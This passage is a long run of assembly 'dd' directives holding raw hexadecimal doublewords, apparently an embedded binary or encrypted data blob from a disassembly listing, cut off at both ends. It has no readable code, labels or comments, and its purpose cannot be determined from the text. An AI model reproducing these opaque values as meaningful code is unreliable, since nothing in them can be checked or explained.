0D9A0DE6Fh, 0D3E985h dd 0C8D4488Bh, 8D36F14Eh, 34132900h, 960777B4h, 0CCA7010Bh dd 35AB3DB8h, 130CD0D7h, 904E1800h, 2DEA0299h, 0C6310589h dd 0C07BBF2Fh, 672CFBDh, 51C8D0C0h, 48CDE9CBh, 341E221Eh dd 4FE69F6Ch, 93035221h, 0CED8A354h, 5B00474Ch, 64F5E971h dd 24A9022Fh, 0B0B16Eh, 72FD529Dh, 0B500510Eh, 0F02EBEEAh dd 3AC9DDh, 0E580FCD7h, 66B389ECh, 49AAF203h, 0D77C6F5Dh dd 0D72584D0h, 0C6E2006Ah, 2002ED6Eh, 2400983Bh, 16B2CCB7h dd 1FFA389h, 740F721Bh, 0C4B3AEDFh, 610F2A14h, 0C0377D96h dd 0BEF388C6h, 25640083h, 862C1DAAh, 0DF000DF6h, 84177810h dd 13E85Ah, 0D46BACA8h, 0A9986D45h, 774D5C00h, 0FDF6D996h dd 9E8D002Ch, 30667DC4h, 1E011683h, 9F4A5041h, 8E40C562h dd 2154Eh, 489EDD8Ah, 0D44C36A5h, 91D39B07h, 1420F559h dd 4086D7h, 0B8066357h, 4582D9C2h, 0A674E07h, 7D60BED4h dd 5344A3h, 1A30748Dh, 475743F6h, 0EECB3F02h, 0E06EF80Dh dd 1C70A9h, 4D583569h, 5093606Ah, 8632C097h, 0CB1001BEh dd 42E04A13h, 0CF40209Bh, 7678ED00h, 0E1A90E82h, 2E69000Dh dd 4E3DBE33h, 0E800F9B5h, 8001EEC4h, 702C4D88h, 30B0F2Bh dd 0AD605644h, 3D95E45Eh, 0C81E2A00h, 0F3EC110Dh, 1DFC00DCh dd 867E42ABh, 9D7F15AEh dd 8091453Ch, 1979B8E3h, 1FAF6E4Ah, 0C0EE4DC7h, 0BEF5DBBAh dd 353F8832h, 94418465h, 87805CC0h, 0B0A36040h, 380DFC0Fh dd 6B87B56Ah, 0E00897D6h, 58E4DDDEh, 2E5C291Dh, 444A9BC0h dd 16FE595h, 0F9642DD8h, 0D44C254Bh, 0C800DF22h, 58668913h dd 33F8448h, 0C6EFE7BCh, 0E3D0F9F5h, 86006E19h, 3A81EDAAh dd 74E2DFh, 0BC36FF6Bh, 0D63F077Bh, 1B893Fh, 0C98385DCh dd 1F6D54E5h, 4214D335h, 3E1F61Fh, 0EB33FA80h, 0E000C2Eh dd 6177DB56h, 525A98h, 65CD5016h, 535B827Bh, 0C0691507h dd 84B16C78h, 0E03A7C18h, 170011ACh, 9F080498h, 26ACCh dd 28623461h, 0E71F9065h, 60F1A400h, 4B52336Eh, 0A5F01Dh dd 6A0BB632h, 0D1783EC6h, 366FDC00h, 0D4B3F423h, 453A2855h dd 6A130FB8h, 8D204119h, 29FC8AE6h, 0A32FCB00h, 0F2C649A5h dd 0D6D21881h, 0F3A72A68h, 61DED800h, 37FC9C3Bh, 3AFB00B0h dd 224BC25h, 60099D34h, 4BBBDAh, 5010B4F9h, 641E0194h dd 0BAD2B92Dh, 4DA1F017h, 330E0BFEh, 2145535Eh, 0DEF53552h dd 0E813B043h, 2C1B1A0Ch, 16AED2h, 0B7C661E2h, 94777AA0h dd 960B3F7Dh, 82270DECh, 0A9324888h, 831D01F4h, 55208C41h dd 0B9B000AAh, 0A1D075D7h, 5100DCF9h, 36341970h, 1A7D66h dd 1BF430E3h, 9DA1375Bh, 550FD603h, 0EF696F4Bh, 3951C250h dd 0CDBD079Ah, 0B062CAA3h, 7FE6D26Dh, 0F5866C00h, 49A936B7h dd 0BE0B3BA7h, 19895A3Ch, 182FCCCh, 0D60CD85h, 0F90E13B9h dd 523AEC72h, 62900800h, 0D710E1h, 563F9CDEh, 89DCF11Dh dd 4D000471h, 0FF85CA82h, 49A64A0Bh, 0CB00A47Fh, 44054B16h dd 8728C874h, 8F0010C1h, 0F5FE82C9h, 79F61848h, 0C162495h dd 0A9B507C8h, 0E4B23156h, 8619C994h, 36FC8D19h, 0DFB60391h dd 0D4AC69EAh, 3C6365A0h, 0CC1818DEh, 89610B10h, 0BD32E02Ch dd 3F48331Eh, 0D138E001h, 8AF0CFBBh, 28D760F6h, 5C77911h dd 0D0F68DEh, 4BB5001Ah, 3F3839ACh, 0EA851E68h, 1979466h dd 5501B754h, 0F10B617Bh, 8F0C40AAh, 0A500354Ah, 827EA01Eh dd 0F83093C0h, 36CC0357h, 0BD3EA72h, 0ACC04ED3h, 46015849h dd 0C2AA33D9h, 0CD8E92Ch, 0AB7B13F1h, 1A7500CEh, 0E17F6F72h dd 0B5CB703h, 0A059283Dh, 33715F1h, 0AB80CDDFh, 8AF0AE78h dd 0FD03E325h, 531B9428h, 716ED068h, 37D60036h, 2D126901h dd 0F90E7397h, 8034985Ch, 4F52CD91h, 0BE405CAEh, 3DDC4C00h dd 6C0C8436h, 45358158h, 4BDE28Ch, 0A020E589h, 7797AC30h dd 266C00E1h, 0DD25BEB7h, 0BA073F4Ah, 751C55A6h, 42E81C0h dd 0B0DCA137h, 773661F2h, 145DD3F0h, 4CB7B6E2h, 9E946906h dd 8F1151A7h, 14032446h, 12B9993Dh, 0E807280Eh, 0FB4F444h dd 40768DA1h, 5CB10C28h, 1FD0F1C5h, 0A113EFBh, 0B9085719h dd 6086E266h, 520CD176h, 59CDA9ACh, 0AF3D0762h, 6F15389Dh dd 961FCEE2h, 3C917090h, 166880h, 0ED668AFBh, 2FF680FDh dd 80DAE8C8h, 8B3A65BAh, 8F02D7F2h, 8A3D36F5h, 0D2BB2004h dd 4CAC0D82h, 3A218B00h, 0EB2CC1E3h, 37813103h, 31A840A9h dd 0EE94085Eh, 5D8DBE18h, 31B985A9h, 8438EDD6h, 0E759801Eh dd 633BF1D5h, 70DA3D3Ah, 83F99B00h, 0EB1C8A38h, 95D51F02h dd 69F0ABh, 327982Ch, 4B00F4A4h, 26F2D49Fh, 1A08F67h, 0AD8B1D6Eh dd 0F49590C2h, 110A0F5Dh, 0CE1F8D0Ch, 18C1B038h, 930629h dd 0F09F4EDAh, 763AE72Ah, 1FC4B48h, 0DD35AFBDh, 0B422A42Fh dd 23347C0Bh, 22C9FC00h, 0E8008D06h, 8C903219h, 0FC8195h dd 0C4DD0C78h, 8CBABAFh, 52FD22C0h, 3D43E2h, 0D195F493h dd 0EC1E206Dh, 0D95481E4h, 9B14479Ch, 0F5A270h, 8C26CC35h dd 81CD3Fh, 792A7F04h, 0DCE9B624h, 0BABE503Dh, 217C30DDh dd 0C7932E8h, 4AA8F3EEh, 8B01FDF4h, 5BBBDF25h, 0E9C7ACD7h dd 0FD71E329h, 78D020h, 352110D0h, 9D3D9B4Bh, 1179FD64h dd 0F7799767h, 32DD74B6h, 0E01F2771h, 0D11B3779h, 7F8BCE04h dd 1AC6427Ah, 97480620h, 78543B44h, 5F0D9D1Fh, 0F8063700h dd 0C004BAA4h, 94EB2110h, 0CA034B2Ah, 1234C141h, 0FC2A343h dd 94231621h, 0A9470940h, 0B400762Ah, 0C20E0AF6h, 70953AFAh dd 0FC7C0CD2h, 0B7995F52h, 8BCFDh, 0E79E287Fh, 0C6B54AAh dd 50BCACD5h, 4D3C1E90h, 84CB28A2h, 2740CA07h, 0E80816Eh dd 60B8305Fh, 6645150h, 0ED031B01h, 85BC61F9h, 0C00876FEh dd 10EC521h, 5A3E592Eh, 601830EFh, 36543CEh, 0F14B8023h dd 6800C59Ch, 0AEB84056h, 0A5078Ch, 8AEE2272h, 0C29D189Bh dd 2F00E2F2h, 0CFA8E383h, 0A6243Ah, 7C4D2070h, 9FE115E7h dd 5A339900h, 654BEF28h, 0E1C15F94h, 6486E8BAh, 0AA0EB772h dd 21E176FCh, 0E5CB71BFh, 0EE09C0D3h, 0F7510047h, 40597BCAh dd 8900C7E1h, 71866B8Fh, 0C4102E3h, 11680963h, 0B084BF29h dd 8729C8A6h, 22108042h, 1E225613h, 239B249Fh, 5748A497h dd 24710D42h, 4B9E21BFh, 77984817h, 3F26EBh, 39723B4Ah dd 25FFC17h, 433C5500h, 6AFE015Bh, 66B21CF1h, 8DA640D3h dd 2BD826D7h, 91CE041Eh, 5129003Bh, 0DED9A8EEh, 0C08F0003h dd 5ED09C07h, 0FD705666h, 51BA9A17h, 0FD78F03h, 7D8090D4h dd 81B4002Fh, 738CD1C0h, 0D000E8D8h, 5D9CA1E2h, 72823ADBh dd 193D0009h, 5BA5BEAh, 7B60B0BEh, 525EA738h, 88450748h dd 801C8C07h, 87A4C94Fh, 51AE2D00h, 8B3931Dh, 1AAA0C8Bh dd 0C37A8844h, 80E16703h, 88DE9EC8h, 0EEF95C68h, 49EE3960h dd 74294E18h, 0F300F030h, 98DDE0D7h, 485B808h, 0AFAEF587h dd 19008079h, 0EA00417Eh, 0D8947605h, 325E6h, 0BBC84F9Fh dd 0DCE5D4Bh, 0B71C9200h, 0EB46A7FFh, 711B31B8h, 709B4C58h dd 51049C87h, 7A6AF58Ch, 902D2C92h, 1D81494h, 3E04DACDh dd 0C4815CEFh, 330057Ch, 28391055h, 0B9430076h, 0DCFABB9Ch dd 1214AD15h, 18C4571h, 2B6F2F70h, 1087B70Dh, 0FFC4B5AFh dd 0F3542740h, 9029C0h, 64331806h, 74A8B9EBh, 0F6D41D45h dd 3C0F4FBAh, 8C82E900h, 0CA007B25h, 27E2687Eh, 2B173DEh dd 1C5CEDFBh, 8445880h, 65680200h, 1BD66D24h, 5B7158D2h dd 98DA6300h, 0BCF1F5BFh, 5199300h, 0ABF660CEh, 2F8D14F4h dd 8008078h, 1B1E2292h, 6513DC7Ch, 0A5019FCFh, 78D72562h dd 2361E0h, 26E25713h, 0D34D2C5Fh, 8DBF171Eh, 43B14E00h dd 1B8F2CEh, 6E92C796h, 0D41B2F4Bh, 0D2001C57h, 5BCE41F3h dd 929B4B1h, 7616320Bh, 492A2420h, 630BF7F8h, 46C160h dd 996158DFh, 0C5AB054Bh, 0DFDAD3h, 0CD0C96F4h, 5013A6Ah dd 8CBF3756h, 0E9DDD5C3h, 77A2420h, 60E0DFD1h, 8877935Eh dd 0DA7B76B8h, 0F866E328h, 793AB710h, 0D62C4200h, 0EDA72EB0h dd 0C7FB4500h, 0FCDAFF6Ah, 853604B4h, 87C23A90h, 82259134h dd 4A0DCC5Eh, 0A80042E0h, 61802CAEh, 0A02362A1h, 981A5ED6h dd 3A690007h, 0CDA81B74h, 0A700A03Bh, 4104FA9Eh, 3A6A52B2h dd 0E780D2ABh, 3F762425h, 0F20079C4h, 7F5994E2h, 0EB6A23h dd 2CEAACCBh, 9164CE0Eh, 33F08B02h, 40D3FDC5h, 3F7B4DF3h dd 9B815BA8h, 6897993h, 0B24C81EFh, 6BAD37D5h, 7DD171D4h dd 2014004Eh, 0F60C418Dh, 88141B1Fh, 1FCB1EAh, 2A5E7EDCh dd 8C47007h, 256303C2h, 7B495419h, 5F9DC388h, 0E6B2F00h dd 0EC9CACF2h, 8BFB1EC7h, 0EDA300A1h, 4486AAE8h, 66D3AD04h dd 3B413AABh dd 188D37CBh, 0B9EC070Dh, 0E098BA74h, 879224F5h, 0D55E4000h dd 0CA3FD9DDh, 0FA48009Eh, 5030EA2Dh, 3300B35Ah, 602C1354h dd 9B793Fh, 80519E1Ah, 914C5DFh, 2E8C3D00h, 0F72DDED0h dd 69F1D66h, 0E27D8210h, 2140B0C1h, 0F603EEB6h, 55ADAC03h dd 9583D947h, 96CC20h, 0A0EA16ECh, 0C18FA973h, 5B02CF07h dd 0B870A4DAh, 3E0E54CBh, 0E0005938h, 64AE61F1h, 471F4C46h dd 74407770h, 4ACA252Bh, 0A8EA00A9h, 3C2B49Eh, 1F7AA05Fh dd 83E0BF00h, 719FB2E6h, 0CD91000Ch, 0CE54AE2Ch, 4CE20DABh dd 0B3006CEEh, 0B09D586Ah, 0F91407h, 22508571h, 16B784CEh dd 0FF187200h, 3E41E583h, 9882F4A9h, 9E5D0040h, 93AE2207h dd 9DEECBDEh, 6D00F4F2h, 0B7C1750Eh, 0A8B7Fh, 26A2F37Bh dd 5BA53C7Ch, 8AEFF09h, 0E7405598h, 5C0069B2h, 0D984502Eh dd 578CC54h, 0C718EB5Eh, 0DEB880FDh, 0B7189A0Eh, 596A58D1h dd 0C1880046h, 5E858231h, 2858D232h, 0D500014h, 0B12E5286h dd 29ED3D33h, 6ACA5818h, 0DE00085Fh, 0CF5C77FEh, 0B8CE1581h dd 0CA7A000Dh, 2DBACEAh, 4B02DF43h, 763B142h, 8DFCC0E4h dd 90349A4Fh, 80971C67h, 0D5007D66h, 8B98F208h, 113C2844h dd 69768062h, 30E2DB5Bh, 808A0101h, 0EFD236D9h, 795C03Dh dd 86A49F00h, 0D8496689h, 0E9591Dh, 0EBC27700h, 70E5DA1h dd 251ACB00h, 0E3D49C46h, 6FD924F5h, 0B58B8070h, 0EE408DD7h dd 88845900h, 82F249FBh, 488128B3h, 0F9DFFCD2h, 4C7363C0h dd 0BD0012C0h, 6D81B075h, 0AD004511h, 25A23C53h, 4291A5h dd 87C88208h, 0DBE2AC56h, 0BA021400h, 3F6DB259h, 0BE830080h dd 3E7DFED9h, 4576DAA1h, 0DFA31600h, 698B31EEh, 0B43B3B2Ch dd 0A64AC80h, 0FE4E04E9h, 5E3F4101h, 0BC43C9C3h, 9C8A30h dd 3A325C3Eh, 7C6CC493h, 26137AF0h, 0C006716h, 362A6A10h dd 7424006Dh, 4997776Ch, 6FE41A2Dh, 79087F0Eh, 0EA69202Bh dd 3AD0A8EFh, 0F781ABFBh, 98B6EEA5h, 0A1E12AEDh, 974AEE00h dd 9C31501Eh, 5A3400DFh, 4C0E8ACDh, 941D167Fh, 28C132C4h dd 2C23B15Dh, 0A193F0EBh, 0CE470085h, 0D32B8369h, 0CD00B426h dd 0F981A802h, 551BDFh, 31C029C2h, 131A411Ch, 3CF39E00h dd 0B6727526h, 0BAA1769h, 0E208008Dh, 24EE2CBFh, 0F0E6FA00h dd 58B331BBh, 6EB200E7h, 8250A2ABh, 23011D45h, 0ACA4307Ch dd 38F8BF97h, 4F960068h, 0D32CBE9h, 0BA00D510h, 0DC1B4B5Fh dd 0B4A18B2h, 65825CAAh, 1C960483h, 53611800h, 5E55133Fh dd 0A8CA0042h, 1633B5C4h, 9E0EDC80h, 0C79C4114h, 0CE0ED543h dd 0B2DE0055h, 2F59F0Ch, 4C6B2871h, 8440318Fh, 752E0250h dd 0F000029Ch, 543D49B5h, 4640F92h, 37205836h, 0C253126Dh dd 98F348h, 8A51D615h, 0F6643A66h, 427B0028h, 650ECDB3h dd 7A1C92CBh, 0FBC08D40h, 0A143352Eh, 0F9E400D3h, 7E0E2181h dd 45004FF8h, 0A3708CFCh, 73C9B17h, 9FFC927h, 64F031B2h dd 5579ECC3h, 0FA1CDE72h, 48005FB9h, 0A59620BCh, 3ED87308h dd 0D6BBF40Ch, 46BF6F80h, 0CF850265h, 0E3074Ch, 23BD7127h dd 0A6F6B4h, 25440BCAh, 86519445h, 83CC2B01h, 9F763C7h dd 34D41BC9h, 9C7D006Fh, 3A044F8Fh, 0CD0F520Fh, 0C03179FAh dd 11549E32h, 82440091h, 22F8C9ADh, 0B13EBAF4h, 761E0BB7h dd 0B5410081h, 0DB340h, 73EA24C4h, 5A969144h, 5EFF2600h dd 0B345B21Fh, 0F3E837h, 0C22F97EFh, 7A5C744Ch, 0D52D1300h dd 9657E3E2h, 7B321738h, 8CDE00D9h, 0C33F3D51h, 0E301E600h dd 7F38B9Eh, 0A54E00D5h, 3CBA760Bh, 0E6002E59h, 327CBC34h dd 1F4086C1h, 87CE7FC5h, 50C38AB1h, 0BA9091A0h, 673C1F79h dd 18D80034h, 482BC9F4h, 89DF0039h, 11B4E5BFh, 701B3B2h dd 0D57B086Bh, 392044DCh, 6673004Fh, 5C7DAC74h, 0BE0E6206h dd 0A570020Eh, 27807B4Bh, 2C926039h, 0FFF890h, 0DF86593Eh dd 0E80B28BEh, 80CF7D02h, 6135C145h, 0C5E3000Bh, 0D9B3F1Bh dd 8B00E9D2h, 27F6A80h, 98DE8382h, 0FF7800B2h, 917A6CBFh dd 6100D8E2h, 59815F80h, 0E6F1D4Ch, 47A238CFh, 964322E0h dd 5B0017BAh, 0ABEEC0EBh, 0A44DD0h, 0D3BD879Ah, 53919E31h dd 38566530h, 3E3269EAh, 0D8806BF9h, 783F70D0h, 9EA0E2B1h dd 0C000D5B4h, 0E950DFD3h, 0E15C17h, 0E2A00BD7h, 0BC76E73Bh dd 7F30C400h, 1A0966F4h, 0E09C38A2h, 0D8C72B83h, 29F89670h dd 0E900595Bh, 0D5A17DD7h, 45C90h, 8F7FD2EEh, 0D1EA5D33h dd 15EBA5A0h, 0DA3D6300h, 0E8A5BB8Ah, 40600314h, 1F8033DBh dd 0CFA6C4D8h, 3F469A00h, 8B3D3F0h, 0FF8F824h, 0B6FCEF71h dd 95371240h, 0C600F09Bh, 0A3BDDE4h, 7311DFF2h, 0E31E0A46h dd 3DE1BD08h, 75A81080h, 0D5865430h, 3E588900h, 0BE1E87DDh dd 0F495015Ah, 3B05B71Bh, 0C973ECA2h, 0AB373900h, 51E04B1Dh dd 6E240FC6h, 0AD4F5472h, 0A5DADBA0h, 0CF07944Eh, 8BC6A42Ch dd 0E360D727h, 3012AF1Bh, 78226E1Fh, 0B03EE532h, 3B3C4Ch dd 0BDD4DAACh, 718F2811h, 0E3C1004Bh, 8E231088h, 0C703AD62h dd 976AB1DDh, 53C5D864h, 98CF0013h, 0C0074BAAh, 0D2001252h dd 0F170379Bh, 0B89D1F2Bh, 0E5240122h, 10C44246h, 4A59C4C3h dd 0A8363300h, 0BB6F600Fh, 4C2B1222h, 54360045h, 2EDC9841h dd 5BBE8100h, 0FEE23C1Dh, 93500047h, 134F54FFh, 301CC0B5h dd 0E1C07D2Fh, 0A45F64F9h, 0FACA0322h, 10A893F1h, 6D42D800h dd 88F3DB66h, 2054169Ah, 0C0E71E0Bh, 93C90FA5h, 3B001E13h dd 53FEF0BAh, 0BF17B59h, 0B7DBBF6Ch, 4548E101h, 0A7D96047h dd 0C7D73800h, 0F4CA603Ah, 19B3009Fh, 0D593A884h, 0F5180A7Ah dd 4B784F2Dh, 44F90FDAh, 0DB401F6Eh, 5B498F35h, 36E5AA00h dd 921D8D50h, 5E821h, 1427BE94h, 890B7BA1h, 0D3CE9B00h dd 23BFB89Dh, 4336001Ch, 0B3F7F8B2h, 9600EB2Fh, 91D7355Eh dd 9E2A3h, 36C78031h, 0DF7F2DEh, 533A6706h, 0E28B7B2h dd 3BA1567Dh, 48409C06h, 804D9F3Eh, 0D7D116F9h, 0F55B54h dd 19D50A21h, 4D4E60CDh, 0CF298600h, 657A2B23h, 66A003Ch dd 6D30C770h, 0E9008B5Dh, 0D04F71A9h, 5C9DECF4h, 243D03D7h dd 0E2811980h, 496A18EDh, 80069239h, 8C772D8Ah, 59514Ah dd 155F6CAAh, 0BF33D7DBh, 37DAE000h, 760C922Bh, 0FBBA0F9Bh dd 0A2A0812Fh, 4EBB9CCBh, 0E0D39F03h, 0F0755DB4h, 4C3E9940h dd 47037A44h, 1554AB62h, 2ADD0FB0h, 0D10D4C00h, 0A4B7A6FEh dd 3FB3837h, 0DE252C0Eh, 0E0A53AA7h, 1B713B9Ch, 728CE300h dd 0A1090E6Eh, 88344858h, 30770470h, 805335C8h, 3782F629h dd 56582F00h, 6CF9EDCDh, 61C90031h, 0E4853D1Ch, 509041D0h dd 983C0F01h, 6B44C7CBh, 8B9DFE80h, 613D9466h, 0CAC34A00h dd 0A4ED6D0Ch, 3AC500B6h, 96FCA71Fh, 0DD988132h, 108D48h dd 0F7BA15A5h, 34CA5Dh, 484DDF35h, 0AC1761DBh, 2E952D3Dh dd 0E9009FBBh, 130ED634h, 0AB53A0Dh, 7529A002h, 7048075Dh dd 9A0086C6h, 0CB0F5B91h, 7D50C09Dh, 0EE4E2h, 7D6CB581h dd 0FF084B77h, 4AF8E300h, 0C3F3272Bh, 0B4B448ADh, 128B7050h dd 53FAF2h, 7BB2BE74h, 0C824B92Eh, 0D81B457h, 0F6241F51h dd 6820F4DDh, 253D1C48h, 5E26C085h, 0B2614BE5h, 0E0F3E400h dd 3C10D8A2h, 88C2602Eh, 1254C67Fh, 80CD8828h, 36F0548h dd 0ED5CA010h, 48C2B88Fh, 33820AFEh, 18CF4ECh, 7A761BC3h dd 0AB742092h, 2F66800h dd 0C81EEA2Ah, 5269041Dh, 80E4DE8Bh, 297C4764h, 96BDCEBh dd 72807406h, 718634Ah, 3AF0CF81h, 1CFD6307h, 5087FA0h dd 5CEA84FAh, 0EEB26900h, 0D417C0C6h, 7A660026h, 0F0771632h dd 44002B8Bh, 0BFA47690h, 121DDB1Ah, 3108CDh, 990FFA5Ch dd 95FCEB0Dh, 128D2602h, 0E05D4F62h, 9FF5003h, 0E66DA55Fh dd 841F8Ah, 7D6EF8DBh, 9312EC8Ah, 50183198h, 92E6C23Eh dd 7D03850h, 0C69F5800h, 12C9AA7Ah, 8A003FF2h, 0C89D7DD8h dd 2E59013Ch, 76C979Bh, 0F918E15h, 0E82C8120h, 94009938h dd 8D74601Bh, 92A439BBh, 80B30050h, 792AAFDEh, 0AD0CCD38h dd 8497406Fh, 0CCC100C2h, 87969B67h, 0D700D37Ch, 695E8B38h dd 3DBDABBh, 0B85097C3h, 0DC009A98h, 2E1774ECh, 0B82453CBh dd 5F680065h, 0BEADF6BFh, 1300923Ah, 0EB93B2F0h, 0ECA749A0h dd 897C0F15h, 0FF2529F7h, 39F8815Ch, 0EBFDD027h, 1388C300h dd 45E8468Eh, 9F1B1D67h, 0A30FC330h, 76991503h, 7D50C670h dd 39243700h, 26E03D4Fh, 2821001Fh, 0E3F7B4FFh, 10010DEh dd 6286DFC0h, 0F88223h, 0D798B2B7h, 6B8EB05Eh, 80E9D539h dd 8150BC0Bh, 80B6F2h, 0CD035B9Eh, 98AB90C5h, 0F39DB803h dd 0B066837Fh, 0D3060Dh, 7C8DB423h, 5AA38C52h, 1A0CCC0Ah dd 9C00A5C7h, 230FCF55h, 8A4F02DAh, 0EC2589Dh, 469F0881h dd 0D51CC0D8h, 31814E30h, 0E41AEBAFh, 897430FCh, 0C0029170h dd 80C07374h, 0A7A9C6C2h, 1BCE74C4h, 18095F6Bh, 81A20FC4h dd 45350273h, 9BFC318Ah, 431C1D24h, 991AEE13h, 0E836EBA0h dd 0A40E5300h, 85D83E72h, 849A00B6h, 122E755Eh, 4074B5AFh dd 82136E00h, 674DE7Ah, 0CCF43C7Ch, 9166047Ch, 0BBD25BC7h dd 76D97A01h, 3EC0D57Dh, 0DEEB0045h, 0C1AA2018h, 1D006C82h dd 3C88FFA9h, 0FC8DDCh, 54D89505h, 63F0B4FDh, 7CE4D51Eh dd 8118B5C0h, 0F41A0213h, 0BC50F170h, 28FE5D10h, 80B6C2h dd 0C6D98424h, 6534FA3Ah, 0DF27711Fh, 6973F880h, 0EA6DF7E9h dd 90700F4Dh, 0A0C0F34Eh, 92BFEFFAh, 4EC1B07Ah, 384A524Ch dd 0A622CCh, 0A3E61319h, 0AA0EF7BCh, 8C033500h, 5E625543h dd 0FB810067h, 2D6B5064h, 2E005732h, 0F57E1DEFh, 7DCA39h dd 350F063Eh, 7A6D8FFAh, 0FF750214h, 939D00BCh, 0AEA5094h dd 33FFB88Dh, 0E1088572h, 8CB22100h, 0A7A19250h, 0B9780012h dd 0AF21D4Bh, 0B417EFC6h, 0B30245BFh, 0A09027A5h, 3CEBB188h dd 0D93A038Bh, 0C9127391h, 21A40830h, 3ED3D7h, 4113A730h dd 0F85A4642h, 5CBBB307h, 0C940B271h, 921ED78Bh, 0E22F1420h dd 0DB4110E6h, 0F3A120B1h, 0EDD0D059h, 1F117E67h, 44824064h dd 0FCEC83EEh, 520833F6h, 4080BE21h, 8F2C3120h, 1F0A0503h dd 0AE1164AAh, 963CD680h, 9F43E13Ah, 0F600A922h, 0CDDC3EDEh dd 2A1069h, 6F483638h, 0C0F08FF5h, 58988A31h, 7424999Ah dd 0D1C20111h, 892ACFE1h, 8B23DC16h, 88E3FE00h, 1CFAB0A1h dd 7AC9189Dh, 0E9F9E1ECh, 80E02A71h, 42C1B301h, 0E5070CDEh dd 0C8A0FC4h, 9D18132Ch, 9140FE70h, 0D75D0138h, 0CB19A223h dd 0F27CD8B5h, 3BB69E01h, 62995F74h, 0C2AAC0EAh, 274401B3h dd 353AAC94h, 0A6CCC0Fh, 0AEC94503h, 0D8E0AFD8h, 74914Ch dd 1DCDD181h, 65DE11BBh, 76FE58h, 4CFCF42Ch, 1EFFB59h dd 716FF22Bh, 0D4962353h, 0F1E6460h, 7F80360Ah, 0BD1EC3D1h dd 822C00A1h, 38FECFF0h, 8C003B4Ah, 0A72A0CE0h, 0D673A5h dd 0DCBB58CEh, 6C8E56B8h, 41FC9200h, 6E448362h, 6F1D00D3h dd 74C7B48Fh, 0EB005053h, 0A1969D66h, 2840Eh, 0ECAB2363h dd 91DF30D2h, 0F6733C1Eh, 0C55A3600h, 98F957h, 0FDEF3CFh dd 0DC34A60Ch, 0AE9FB301h, 69ECB91Fh, 0DEE493F9h, 0E90A00CCh dd 0D5985632h, 42EE532Bh, 0E182EB00h, 0F044DFBDh, 251D03B3h dd 16AE77B0h, 0C1680FD0h, 0D311AD0Fh, 53C30019h, 38901AB9h dd 1800BDC8h, 8809BB4Ah, 9E16B154h, 9D004297h, 821F4DD3h dd 0F36800EEh, 4D8B3AAh, 2102A429h, 0D6ECED58h, 0D40F505h dd 0C005E39Ah, 0AFFE5516h, 0ACF7C900h, 8A2890h, 0AADD46C1h dd 3C31E714h, 35982FECh, 4CEBC300h, 471D33FEh, 0FC9500C8h dd 80219E91h, 0AB0557F1h, 2E94622h, 4437B000h, 0C9248Ch dd 53E6C5D4h, 0A5F575CEh, 470F340Eh, 628BE3E1h, 218A9337h dd 43102929h, 3D42C588h, 232D2488h, 115FA46Ah, 0F1681174h dd 0DFFD4474h, 44AD5E44h, 0F745F57Bh, 5AC213D6h, 3520B124h dd 0D980391Dh, 0C84588E7h, 109502F5h, 264003C9h, 0BF7B84DDh dd 50411989h, 29980E4Ah, 0AE2079A1h, 81A2F013h, 0C8F100AAh dd 8388C6BCh, 0E6001AE0h, 9ED7A535h, 75628E86h, 0DDC90043h dd 67E72272h, 0CD79923Fh, 953C6800h, 0F9329D83h, 0C3D5007Fh dd 5497C420h, 0C63C2A6Ah, 80B5BEDAh, 87898AF5h, 0BD6A6CDh dd 48BB61F7h, 3E209B8Eh, 8CF1BE56h, 0E99D50Eh, 980360EDh dd 107960h, 0F8699293h, 6FA380AFh, 86F6EF01h, 0B8176B4h dd 4FDFFC40h, 0FBA803CCh, 0D0425546h, 9E8B59A8h, 0CBCF2400h dd 0AAD4677Ah, 0B31D0919h, 7102406Eh, 9DE0780Ah, 3378A179h dd 8F269471h, 30073273h, 72CF764Dh, 6004D700h, 9275F236h dd 3EBA00E4h, 0B4A4F5DFh, 11F65B64h, 53CEE20Ch, 481097h dd 0BB96438Eh, 4707E94Ah, 9DE054B8h, 0A8B8D107h, 7520A0EDh dd 5EBF27h, 0E0709188h, 367197D2h, 0B079F432h, 0DE1C0A5h dd 1C04004Ch, 229ECBA7h, 0C2FEACDAh, 86F7E100h, 24EDD458h dd 1337425h, 30F80192h, 0E8E48A80h, 2600DA70h, 33029BA6h dd 164413h, 7DA5BA74h, 3920F0DFh, 4AE0E701h, 0CCAF91FBh dd 83CDE087h, 0FCFAA003h, 3E010171h, 76DC5D81h, 21CCC757h dd 0DF4E05B4h, 11CE30Bh, 87C49484h, 0E80CE96Bh, 0D800B8F7h dd 0EC295005h, 0FA564Eh, 75AFEF69h, 82D541CDh, 63C35A00h dd 0BA79A852h, 426A00E4h, 21C005CBh, 740153CFh, 11362FE8h dd 28D07D60h, 0BDF400F8h, 4B2B9A8Ch, 550079E9h, 38845407h dd 5FF5DEh, 26343702h, 78036410h, 14083Eh, 9657AFE1h, 0EB28BF4h dd 9D700F1Dh, 0AB26DE20h, 0BF002E53h, 654DA050h, 11CD3DFh dd 0FC25322Ah, 0D00B56A5h, 0D60097E3h, 0A3999CB4h, 0DD9DD9h dd 0FA71E1A6h, 3F4A6ECAh, 992CF0A0h, 0B064E629h, 0ED8DD400h dd 0F8803C60h, 0A1FE0CA7h, 6D105718h, 0E4834403h, 0D81D91F4h dd 85BCC0h, 22C87DA3h, 79A9B175h, 0B04825h, 76D462A4h dd 745C4887h, 70D9FA80h, 8E26DA21h, 0D400B996h, 6635B5EFh dd 733800F7h, 0DCC40F28h, 0F4F7A8CEh, 481FA156h, 0BFC9BD57h dd 9C0907h, 7D6629B1h, 0CB98002Ah, 1817C90Fh, 9900137Eh dd 16D808C8h, 509B816Fh, 752A809Fh, 0A6D7001Ch, 2E78ED9Eh dd 9007528h, 181B6A90h, 0B78066h, 65645791h, 8BC6EA43h dd 409CCF01h, 181EB5DBh, 0ADF9C8h, 99A32E71h, 0C5E48035h dd 5E381600h, 0A284D3FFh, 8B6000C2h, 0B83DF15Ah, 0B20283E3h dd 2D112CEh, 0B5B88017h, 77EF9D4Ch, 0C4736Dh, 27395BF2h dd 99F86A1Fh, 37514800h, 0C1DE476Bh, 0C7A100BFh, 1EF3C3FCh dd 0CD039897h, 1C9127E6h, 0B734E024h, 0F58214C1h, 0E200A43Eh dd 70DF55A5h, 0C890E4B3h, 788C7300h, 0E7D86AFAh, 0B4EA00DBh dd 28FDCD9Eh, 8A004B45h, 673F41B0h, 12D4057Eh, 4F9B2Ah dd 0AF174225h, 2F3BE740h, 950B00C0h, 9C4DBED2h, 8BF50035h dd 0C1C2343Ah dd 0A53E2F72h, 0DE3E8113h, 0EE4C36E6h, 18283FF8h, 0C825CF49h dd 7500114Eh, 4D9B1A0Ch, 558270h, 0B3D05965h, 894B4FC2h dd 